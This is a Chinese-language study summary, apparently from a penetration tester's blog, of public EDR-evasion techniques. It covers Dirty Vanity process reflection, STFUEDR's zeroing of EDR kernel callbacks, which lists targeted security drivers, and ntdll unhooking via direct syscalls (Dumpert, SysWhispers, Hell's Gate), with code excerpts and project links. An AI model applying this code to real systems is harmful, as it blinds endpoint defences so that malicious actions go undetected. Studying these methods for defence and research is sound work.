对公开的edr绕过方法和项目的学习总结,渗透狗真的是摸着石头学习,感觉确实会有很多理解不到位的地方和错漏的地方,希望大佬可以指正
Eliran Nissan大佬之前在最近的欧洲黑帽大会上提出的姿势,众所周知,windows是不支持用户态的fork的,但是我们可以利用windows 机制Process Reflection和Process Snapshotting完成对目标进程的fork
Process Reflection:通过RtlCreateProcessReflection将进程远程fork,WDI(windows诊断基础结构)就是利用RtlCreateProcessReflection对持续运行的服务进行监控及调试
Process Snapshotting:能够部分或全部捕获流程状态。它类似于Tool Help API,但有一个重要优势:它可以使用 Windows 内部 POSIX fork功能(NtCreateProcess[Ex])有效地捕获进程的虚拟地址内容。可以使用MiniDumpWriteDump函数将进程快照转储到文件中
利用以上两个机制,我们就可以对fork出的子进程进行敏感操作,从而绕过edr对敏感进程的监控
if (!lib)
{
return \-1;
}
RtlCreateProcessReflectionFunc RtlCreateProcessReflection \= (RtlCreateProcessReflectionFunc)GetProcAddress(lib, "RtlCreateProcessReflection");
if (!RtlCreateProcessReflection)
{
return \-1;
}
T\_RTLP\_PROCESS\_REFLECTION\_REFLECTION\_INFORMATION info \= { 0 };
NTSTATUS reflectRet \= RtlCreateProcessReflection(victimHandle, RTL\_CLONE\_PROCESS\_FLAGS\_INHERIT\_HANDLES | RTL\_CLONE\_PROCESS\_FLAGS\_NO\_SYNCHRONIZE, baseAddress, nullptr, NULL, &info);
if (reflectRet \== STATUS\_SUCCESS) {
std::cout << "\[+\] Succesfully Mirrored to new PID: " << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;
}
else {
std::cout << "\[!\] Error Mirroring: ERROR " << GetLastError() << std::endl;
}
return reflectRet;
项目地址:https://github.com/deepinstinct/Dirty-Vanity
因为edr通过注册 PspSetXXXXNotifyRoutine 内核回调函数来监视进程所以,程序直接检查jmp PspSetXXXXNotifyRoutine
指令找到将PspSetXXXXNotifyRoutine 回调数组中edr的注册信息直接删掉,干掉edr的监控
if (callBackAddr != NULL) {
DWORD64 callBackAddrSfht \= ((callBackAddr \>> 4) << 4);
DWORD64 drivercallbackFuncAddr \= ReadMemoryDWORD64(Device, callBackAddrSfht + 0x8);
for (int k \= 0; k < driverCount \- 1; k++) {
if (drivercallbackFuncAddr \> reinterpret\_cast<DWORD64\>(drivers\[k\]) &&
drivercallbackFuncAddr < reinterpret\_cast<DWORD64\>(drivers\[k + 1\])) {
GetDeviceDriverBaseNameA((LPVOID)drivers\[k\], deviceName, sizeof(deviceName));
if (!(strcmp(deviceName, "EX64.sys") &&
strcmp(deviceName, "Eng64.sys") &&
strcmp(deviceName, "teefer2.sys") &&
strcmp(deviceName, "teefer3.sys") &&
strcmp(deviceName, "srtsp64.sys") &&
strcmp(deviceName, "srtspx64.sys") &&
strcmp(deviceName, "srtspl64.sys") &&
strcmp(deviceName, "Ironx64.sys") &&
strcmp(deviceName, "fekern.sys") &&
strcmp(deviceName, "cbk7.sys") &&
....
if (Patch)
WriteMemoryDWORD64(Device, nextaddr, 0x0000000000000000);
}
项目地址:https://github.com/lawiet47/STFUEDR
从这里开始的绕过思路都是通过直接调用syscall绕过edr 对用户态api的hook,而其中的代表地狱之门随着时间的推移为了对抗edr新的检测机制也衍生出了各类“门”,但核心思路是一致的
一般来讲我们使用windows api调用windows的各项功能,在 Win32 API 之下是 Native API (ntdll.dll),它实际上是 _用户模式_应用程序和底层操作系统之间的真正接口,AV/EDR 的基本用户模式 API 挂钩通常是通过使用跳转 (JMP) 指令修改 API 调用的前 5 个字节到指向安全软件的另一个内存地址来创建的,但是当我们获取了syscall 号直接通过调用内核的的方式去执行操作,就可以绕过edr的监控
利用https://j00ru.vexillium.org/syscalls/nt/64/可以查看不同系统下的syscall编号,但是直接调用syscall完成所有功能是很繁杂的,上面STFUEDR的思路我们可以看到可以调用VirtualProtectEx 和 WriteProcessMemory删除hook,但是如果这个操作也被hook了怎么,那我们就用syscall函数ZwProtectVirtualMemory 和ZwWriteVirtualMemory删除掉hook,然后后续再执行我们的恶意操作
LPVOID lpProcAddress \= GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo\->lpApiCall);
printf("\[+\] %s function pointer at: 0x%p\\n", pWinVerInfo\->lpApiCall, lpProcAddress);
printf("\[+\] %s System call nr is: 0x%x\\n", pWinVerInfo\->lpApiCall, AssemblyBytes\[4\]);
printf("\[+\] Unhooking %s.\\n", pWinVerInfo\->lpApiCall);
LPVOID lpBaseAddress \= lpProcAddress;
ULONG OldProtection, NewProtection;
SIZE\_T uSize \= 10;
NTSTATUS status \= ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, PAGE\_EXECUTE\_READWRITE, &OldProtection);
if (status != STATUS\_SUCCESS) {
wprintf(L"\[!\] ZwProtectVirtualMemory failed.\\n");
return FALSE;
}
status \= ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL);
if (status != STATUS\_SUCCESS) {
wprintf(L"\[!\] ZwWriteVirtualMemory failed.\\n");
return FALSE;
}
status \= ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
if (status != STATUS\_SUCCESS) {
wprintf(L"\[!\] ZwProtectVirtualMemory failed.\\n");
return FALSE;
}
return TRUE;
项目地址 :https://github.com/outflanknl/Dumpert
运行后检查系统版本并根据版本对应的系统调用表自动生成所有结构和系统调用,已经更新到第三版,主要添加了两个方法进行绕过
用占位符填充syscall位置,然后使用时动态替换
计算syscall地址,使函数调用后rip指针跳转到syscall的系统函数的位置上,解决edr对rip指针指向的检测
项目地址:https://github.com/jthuraisamy/SysWhispers
除了我们可以通过系统调用表去查询syscall还可以通过读取 ntdll.dll 在主机上动态找到系统调用。hellgate通过检索PEB偏移量找到启动时加载到进程中的 ntdll 通过遍历导出地址表来查找和映射系统调用
项目地址:
https://github.com/am0nsec/HellsGate
NIM版本:
https://github.com/zimawhit3/HellsGateNim
参考文章
https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf